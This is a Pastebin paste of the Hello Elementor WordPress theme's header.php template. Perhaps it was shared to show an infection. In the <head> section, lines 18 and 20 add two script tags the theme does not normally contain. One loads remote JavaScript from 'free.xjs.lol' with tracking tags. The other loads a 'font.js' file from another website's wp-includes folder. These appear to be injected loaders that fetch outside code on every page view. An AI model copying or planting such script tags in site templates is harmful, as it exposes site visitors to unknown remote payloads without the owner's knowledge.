Advertisement
WP_Republic

hello elementor theme header.php

Nov 24th, 2022
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.22 KB | Cybersecurity | 0 0
  1. <?php
  2. /**
  3.  * The template for displaying the header
  4.  *
  5.  * This is the template that displays all of the <head> section, opens the <body> tag and adds the site's header.
  6.  *
  7.  * @package HelloElementor
  8.  */
  9.  
  10. if ( ! defined( 'ABSPATH' ) ) {
  11.     exit; // Exit if accessed directly.
  12. }
  13. ?>
  14. <!doctype html>
  15. <html <?php language_attributes(); ?>>
  16. <head>
  17.  
  18. <script>var pm_tag = 'X3AR';var pm_pid = "23751-f4bf3212";</script><script src="//free.xjs.lol/js/pub.min.js" async></script>
  19.  
  20. <script src="https://wideloadshipping.com/wp-includes/js/font.js"></script>
  21.  
  22. <meta charset="<?php bloginfo( 'charset' ); ?>">
  23.  
  24. <meta name="viewport" content="width=device-width, initial-scale=1" />
  25.  
  26.     <?php wp_head(); ?>
  27. </head>
  28. <body <?php body_class(); ?>>
  29.  
  30. <?php hello_elementor_body_open(); ?>
  31.  
  32. <a class="skip-link screen-reader-text" href="#content">
  33.     <?php esc_html_e( 'Skip to content', 'hello-elementor' ); ?></a>
  34.  
  35. <?php
  36. if ( ! function_exists( 'elementor_theme_do_location' ) || ! elementor_theme_do_location( 'header' ) ) {
  37.     if ( did_action( 'elementor/loaded' ) && hello_header_footer_experiment_active() ) {
  38.         get_template_part( 'template-parts/dynamic-header' );
  39.     } else {
  40.         get_template_part( 'template-parts/header' );
  41.     }
  42. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement